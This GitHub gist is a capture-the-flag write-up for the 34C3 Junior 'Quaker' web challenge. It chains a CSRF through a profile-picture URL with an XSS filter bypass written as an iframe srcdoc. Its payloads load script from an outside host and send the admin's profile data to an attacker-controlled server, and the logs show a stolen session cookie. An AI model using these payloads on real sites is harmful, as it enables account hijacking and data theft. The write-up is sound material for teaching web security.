Last active
December 30, 2017 00:54
-
-
Save pich4ya/22f933ad3dc70355752baf70f0c79eb1 to your computer and use it in GitHub Desktop.
https://junior.34c3ctf.ccc.ac/ writeup quaker - mid 477
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
chall: | |
If you don't trust Twitter, you might like Quaker! | |
http://35.198.120.230/ | |
1. login & reg | |
2. get user's token | |
http://35.198.120.230/messages/new | |
Receive message | |
Your user token: fed0a6d910e5322d6f42be63f927a1c6 | |
Share this with users you want to receive messages from! | |
3. csrf get via avatar link | |
3.1 update profile with csrf that make victim follow the attacker | |
POST /profile HTTP/1.1 | |
[...] | |
description=aaa&profile_pic=http://127.0.0.1/feed/fed0a6d910e5322d6f42be63f927a1c6/follow?aaa=bbb.png&csrfmiddlewaretoken=mw5Et0qK3FwecrOSGybvTyHGDZcO0XGSZ7XHvBGn0WWE0DvQVJJhnOiwMOkQykbW | |
3.2 send any message to admin at http://35.198.120.230/messages/new/da5eb9f38413743f07e11d63e67650b8 | |
3.3 wait for few minutes.. and check http://35.198.120.230/followers | |
4. next, admin will read user's quak (from default message), and user quak is xss-able | |
4.1 there are huge numbers of XSS filters, my bypass is | |
<iframE srcdoc="<script src="http://188.166.185.166/custom.js"></script>" /< | |
log: | |
35.198.120.230 - - [28/Dec/2017:21:26:36 +0000] "GET /hook.js HTTP/1.1" 200 86665 "http://127.0.0.1/feed/ff83c03cf438b95a40c53b48e7e82236" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1" | |
35.198.120.230 - - [29/Dec/2017:03:36:56 +0000] "GET /?flag=You%20are%20close.%20Keep%20digging,%20the%20admin%20has%20stored%20his%20flag%20somewhere%20in%20his%20profile!;%20sessionid=2fl07t9ket39drnsfljxtjfbf7dlx9ej HTTP/1.1" 200 3525 "http://127.0.0.1/feed/ff83c03cf438b95a40c53b48e7e82236" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1" | |
4. From the hint above, read the flag from admin's profile | |
fact: | |
- there are only 2 text field 1)username 2)desc but we know the username is admin | |
- so I think flag maybe in the desc | |
- beef doesn't work on phantomjs side (worked on chrome) + send ajax from phantomjs to my server does not work.. only thing work is src image maybe | |
- JQuery on the webpage is broken, first I submit <!-- to fix shit and then exploit | |
exploit: | |
<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script> | |
<script>$.get('/profile', function(data) { | |
new Image().src="http://w.p7z.pw/?"+encodeURI(data.substring(2550, 2680)); | |
}); | |
</script> | |
but the quak has XSS filters, so bypass it with iframe. | |
final exploit: | |
<iframE srcdoc="<script src="https://code.jquery.com/jquery-3.2.1.min.js"></script> <script>$.get('/profile', function(data) { 	new Image().src="http://w.p7z.pw/?"+encodeURI(data.substring(2550, 2680));     }); </script>" /< | |
output: | |
35.198.120.230 - - [29/Dec/2017:04:20:52 +0000] "GET /?%22text%22%20id=%22form3%22%20name=%22description%22%20value=%22I%20AM%20THE%20MASTER%20OF%20THE%20FLAGS!!!%20MUAHAHA%2034C3_pls_n0_steal_th1s_!!!%22%20uclass=%22form-contr HTTP/1.1" 200 3525 "http://127.0.0.1/feed/ff83c03cf438b95a40c53b48e7e82236" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1" | |
>> | |
?"text" id="form3" name="description" value="I AM THE MASTER OF THE FLAGS!!! MUAHAHA 34C3_pls_n0_steal_th1s_!!!" uclass="form-contr | |
flag is > 34C3_pls_n0_steal_th1s_!!! |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment